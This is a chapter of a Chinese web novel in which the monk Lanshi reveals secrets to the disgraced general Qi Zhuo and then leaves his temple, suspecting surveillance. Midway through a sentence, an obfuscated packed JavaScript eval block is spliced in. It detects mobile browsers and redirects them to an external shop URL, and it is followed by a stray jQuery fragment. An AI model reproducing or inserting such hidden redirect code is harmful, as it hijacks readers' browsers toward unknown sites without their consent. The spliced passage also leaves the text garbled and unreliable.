兰时轻轻摇头,神色坦然无懈:“并无交集。不过是听旁人闲谈提及罢了。”
“可师父明明在宫中待过,当年又是国主身边的红人,日日伴驾。”戚灼不肯罢休,逻辑清晰地层层拆解,“皇城说大不大,说小不小,你怎会从未见过他?”
兰时转身,缓步朝她走近。目光安然澄澈,落在她身上,让人完全揣测不出他心底是否藏着隐情。
“莫非你还在玩儿方才真心话的游戏?这次的问题,你问的可有点儿多了。不过……”兰时目光安然落到戚灼身上:“先前不是还揣测贫僧是什么男宠,现在莫非又在异想天开觉得,贫僧就是诈死的十六皇子?男宠之说,子虚乌有。至于十六皇子,当年棺椁游街、举国皆知,万千百姓亲眼见证下葬,怀月是觉得,贫僧能死而复生、借身还魂?”
“若师父只是寻常僧人,寺内寺外,又怎会招来这么多人蓄意加害?暗中觊觎?”戚灼下意识带出审度犯人的气势,语速渐快,一句接一句抛出心底疑虑,步步求证:“难不成就凭师父一副绝佳相貌、一身精深佛法?还有山中那处冰窟,耗费无数人力布设重重机关,机关环环相扣,凶险万分,难道就为了看守一座空山?
“师父,您到底是谁?”
听她句句追问,字字深究。
兰时浅浅勾了下唇角,不答亦不辩驳,抬手指着茶壶:“一口气全喝了,贫僧告诉你。”
戚灼撇了眼满当当茶水的茶壶,立刻纠正:“规矩不对。真心话问答,是不愿作答的人才需要喝茶抵过。”
“若贫僧不愿意答,你能就此罢休吗?”兰时语气带着几分纵容,又几分惩戒的意味:“况且,你屡次不敬师长,本该受些薄罚。”
行。
能开口就好。
戚灼不再纠结规矩,嫌壶口出水太慢,干脆直接掀开壶盖,仰头大口灌了起来。
茶水已经放凉许久,温度刚好适口。
她一气喝干整壶茶水,抬手做了个利落的请姿:“师父,现在可以解惑了。”
话既说到这儿。
兰时这才道出缘由:“那些有关于国主对贫僧另眼相待的传言,是因为国主把传国玉玺山河印放在了兰因寺,由贫僧亲自看管,私下说上几句话罢了。那些想对贫僧不利的歹徒,并非是因为贫僧这个人,而是想要贫僧守着的东西罢了。”
戚灼猛地一呛,方才灌下去的茶水险些直接喷出来。
“至于你说的冰窟机关。”兰时无视她的失态,继续道,“那里确实藏着一个只有我与师兄知晓的秘密。你确定要继续听?”
她都要被灭族了,还会怕比炸裂更炸裂的秘密?
反正都是要死。
也要死个明白。
“弟子为救师父,几次死里逃生。现在只想更深的了解师父,洞悉敌手虚实,这样才能周全护您安危。”
兰时将食盒重新放回石桌,看着她固执,终究松了口。
“也罢,告诉你也无妨。那冰窟深处,护着一具无名女尸,也是当今国主亲自交付兰因寺,嘱托我们世代好生看管。”
国主亲自交付?
戚灼心头巨震。
可按照朝鸣此前的说法,那具女尸分明就是内后。
世人皆知国主为寻内后疯魔多年,举国搜寻,不肯放弃。
可尸体就在这里。
这其中,莫非藏着天大的隐情?
“那具尸身,原先是不是安放在冰棺之中?”
“是。”兰时颔首,耐心解释,“如今春日回暖,山腹温度渐高,冰棺难存,尸身极易腐朽。若是遇上山崩地动,仓促之间根本来不及转移。”
“贫僧权衡利弊,让人将尸身转移到高处稳妥安置,重新布设了层层机关。你此前侥幸逃生的路径,也是贫僧特意留下的,专门用来迷惑、算计那些妄图偷尸的不轨之人。”
“弟子见师父对冰窟内的机关排布得心应手,莫非冰窟的机关都出自您收,师父精通机关术?”
兰时将空壶重新注满清水,开盖晾凉,抬眸示意她——想听下去,便再饮一壶。
戚灼二话不说,端起茶壶又是一饮而尽。
兰时才开口:“略懂。”
区区略懂?
戚灼心底全然不信。
能布下环环相扣、牵动整座山峦的机关,足以山崩岳毁、夷平丘壑。这般通天本事,她只在有关南方世界临渊国闻氏一族的记载中见过。
又是临渊。
兰时与临渊闻氏,到底有何渊源?
她抬眼,目光灼灼:“师父气韵风华绝代,学识眼界深不可测,又身怀崩山毁岭之机关绝学!这般能耐,断然不是寒门子弟所有。弟子实在好奇,,不知师父昔日出身何等显赫世家?”
不等兰时示意,戚灼自觉端起新凉的茶水,仰头灌了一大壶。
茶水喝得太急,她撑得打了个饱嗝。而后,继续满眼期待地望着他,听的津津有味。
在一脸期待中。
兰时重新拿起石桌上的食盒,神色认真,语气郑重,说得比讲经布道还要诚恳。
“实不相瞒,贫僧乃天地灵光所化,自幼栖隐深山,不沾凡尘血脉,又得灵韵滋养,所以才通晓些旁门巧技,至于你说的周身气韵、言谈举止,自然难与凡人一概而论。”
戚灼:“……”
这说辞,实在混蛋又离谱得让人无从反驳。
等她从极致的无语中回过神来,眼前早已没了兰时的身影。
空荡荡的庭院里,只剩她一个人站在原地。
反应过来。
“呵!”
“呵~呵!”
“呵~呵~呵!”
好家伙。
她硬生生灌了一肚子茶水,就套出能让她罪加一等的秘密是吧。
又变着法儿,罚她是吧。
此人心黑,她还是……先去净庐再说,快尿裤子了。
晨霜未褪,薄薄覆在清修院的青瓦上,冷得刺骨。
兰时背着简单包袱,静立廊下古柏旁。一身僧衣沾了霜色,整个人冷得像尊冻透的石像。
他没动,也没出声。就这么站了近一个时辰。
院内晨起的动静断断续续,他听得一清二楚。
却迟迟不往前一步。
这些年,那些看似温和的叮嘱、处处周全的照拂、密不透风的规矩约束,此刻尽数翻涌上来。哪里是什么同门体恤,全是层层叠叠、步步紧逼的窥探与拿捏。
他现在不知自己是不是应该怀疑,那一批又一批觊觎国玺“山河印”的杀手,与兰溪到底有没有关系。
心念至此,兰时缓缓摊开掌心。
一枚橘子静静卧在手心。
果皮饱满圆润,品相规整得挑不出一丝瑕疵。全然没有山野果子的粗糙驳杂,是实打实的千里挑一的上等品相。
兰因寺后山皆是百年老橘树,全寺僧众统一分食的山橘,年年酸涩寡淡,口感粗粝。且山橘秋冬结果、春夏绝收,这是寺里人人默认的常理。
可唯独他案头的橘子,一年四季从不间断,日日换新。熟度均匀,甜度恒定,无生涩、无腐坏、无偏差,数年如一日,规整得过分刻意,刻意得透着诡异。
纵使他是一寺方丈,独享寺内最优供果,单独山下采购,勉强也算合乎情理。
可寺中再如何优待,终究是山野清修之地,绝无可能够得上皇家规制。
指尖轻蹭果皮,熟悉的清甜气韵漫上来,冻得人心底发凉。
皇家御园专属的蜜橘品种,是他昔年身为皇子时,最偏爱的口味。
自他入寺为正式剃度,便刻意摒弃了所有俗世喜好。日日挑粗茶涩果下咽,刻意苦修敛性,把从前的奢靡过往,藏得滴水不漏。旁人根本窥探不到他半分旧时痕迹。
如今看来。
他以为自己斩断了过往,殊不知,那些宫中旧味、旧时用度,早有人不动声色,一点点渗进他的清修日常里。
用意何其浅显。
借这些用度,日日、时时来试探他的本心,看他是否安分守戒,是否还眷恋俗世荣华、宫廷奢靡。
他终于理清了近日的乱象。
自打戚灼入寺,他身边的风波麻烦骤然频发,层层叠叠,愈演愈烈。
从前案头的御贡蜜橘、各类清甜吃食,他向来碰都不碰,守着一身清寂,无人能挑出半分错处。
偏偏戚灼性情随性,又贪吃些,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640675|206682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拘这些虚礼规矩,时常进他屋,随手拿来吃掉。
落在暗处监视之人的眼里,成了动尘心,生异念。
所以开始层层加码的试探,步步收紧的监视,无妄风波接踵而至。
原来从始至终,多年滴水不漏的关照,不是因为身份,不是因为偏爱,更不是因为兄弟情,而是朝堂埋在他身侧,最温柔、也最诛心的一局棋。
朝堂居然对他忌惮至此。
兰溪确实藏得又深,又稳,可偏偏一枚小小的橘子,撕开了所有伪装。
防线一旦裂开一道缝,所有藏了数年的破绽,尽数崩塌,沦为一场荒唐笑话。
兰时心底一片荒芜,无悲无喜,只剩刺骨的凉。
十余年同门相伴,连同少时牵绊最深的宋听禾一样,到头来,尽数成了困住他的层层枷锁。
所以他必须离开。
此番他借口去往先师旧居清修,本意有三。
其一,彻底撕开兰溪伪善的同门面皮,敲定他所有隐秘底细,斩断这层虚假情分;
其二,为日后彻底还俗铺路,彻底挣脱这座早已沦为囚笼的寺院。
其三,也是最关键的一点,试探戚灼。
这个身负灭族重罪、落魄潦倒的女将军,看着莽撞跳脱,爱闯祸、不拘世俗,内里却坦荡赤诚,心性纯粹。
他开始一次次加码试探,磨她的底线,测她的能耐,无非是想弄明白——这支离破碎的世间,值不值得他破例还俗,弃裟入世。
此人更是到底值不值得他为其所用。
风扫过柏叶,簌簌作响。
兰时抬眼,望向紧闭的主持房门,指尖微顿,随即收紧。
他转身,径直离去。
无话可说,亦无必要可说。
屋内,暖炉烧得正盛,暖意融融,却驱不散一室凝滞的压抑。
兰溪端坐案前,一袭素色僧衣端正肃穆,指尖捻着一串佛珠,节奏极快。他语速偏急,心底郁结的火气早已翻涌,偏要端着师兄的沉稳架子,强行自持。
他惯常端着师兄的沉稳架子,即便心绪炸裂,也不肯失了分毫体面。
他清楚得很,人就在门外。
清清楚楚。
当弟子不妄第三次踏入屋内。
兰溪骤然出声,直接截断他的话语,语气裹挟着压制不住的愠怒:“为师说了,不允他进来!”
不妄神色踌躇,终究还是硬着头皮回话,声音压得极低:“方丈……方丈他走了。”
不辞而别?
短短四字,瞬间抽空了室内所有暖意。
捻珠的指尖猛地僵住,一动不动。
兰溪垂着眼,面上看不出半点情绪,周身的暖意瞬间散尽,只剩刺骨的寒凉。方才强压的情绪,先化作沉甸甸的落空与失望死死堵在胸口。下一秒,失望轰然坍塌,翻涌成滔天怒火。
砰!
一掌拍在案上,佛珠崩飞,散落满地。
不妄慌忙俯身捡拾。
沉怒的嘶吼瞬间充斥整座禅房。
“修行好好的,非要和怀月牵扯不清,还要结伴去旧居修行!这话传出去,山门颜面何在?佛门清誉何在?”
不妄一边拾捡佛珠,一边轻声安抚:“师兄,怀月是男子,并非俗世女子。二人同行清修,算不得损毁清誉。寺中上下有您坐镇,外头的闲话,总能圆过去的。”说完,将拾回来的佛珠,全都拢在桌案上的小檀木盒中。
这话彻底刺痛了兰溪。
他猛地一挥广袖,又将小檀木盒扫落在地。
刚收好的佛珠再度哗啦啦滚落,四散满地。
这是他极少有的失态,对着贴身弟子厉声怒吼:“你懂什么?你知道什么?”
随即抬眼,眼底常年温驯的师兄气度尽数褪去,只剩偏执阴寒的冷厉。
兰时执意违逆山门、脱离掌控,执意因俗世人事乱了修行。
那他便亲手拆了这份执念。
声线冷得发颤,没了往日的温吞说教,只剩决绝的狠意:“去,把叫他来。”
他?
叮当——
不妄手中攥着的佛珠应声落地,脸色瞬间发白。他顿了片刻,俯首应声:“是。”